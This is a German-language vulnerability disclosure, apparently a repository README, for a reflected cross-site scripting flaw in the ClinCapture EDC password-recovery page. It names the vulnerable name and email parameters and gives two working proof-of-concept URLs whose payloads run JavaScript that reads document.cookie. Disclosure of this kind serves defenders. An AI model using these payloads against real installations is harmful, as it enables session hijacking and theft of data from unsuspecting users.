
Reflektiertes XSS in ClinCapture EDC
Dieses Repository ist nur für Bildungs- und defensive Sicherheitsforschung bestimmt
Reflektierte Cross-Site-Scripting (XSS) Schwachstelle in ClinCapture EDC 3.0 und 2.2.3, die es einem nicht authentifizierten entfernten Angreifer ermöglicht, JavaScript-Code im Kontext des Browsers des Opfers auszuführen.

Um die Schwachstelle zu demonstrieren, müssen Sie zur Passwort-Wiederherstellungs-Registerkarte gehen und den Payload im name- oder email-Parameter angeben oder eine Anfrage senden.
<url>/edc/RequestPassword?action=submit&name=text%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&[email protected]&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

<url>/edc/RequestPassword?action=submit&name=text&[email protected]%22%3E%3Cimg%20src%3dx%20onerror%3dalert(document.cookie)%3E&passwdChallengeQuestion=favorite_animal&passwdChallengeAnswer=&Submit=Submit

Ein nicht authentifizierter Benutzer kann JavaScript-Code im Kontext des Browsers des Opfers ausführen, mit dem Ziel, Aktionen im Namen des Opfers durchzuführen oder vertrauliche Informationen wie die Antwort auf eine Sicherheitsfrage zu stehlen.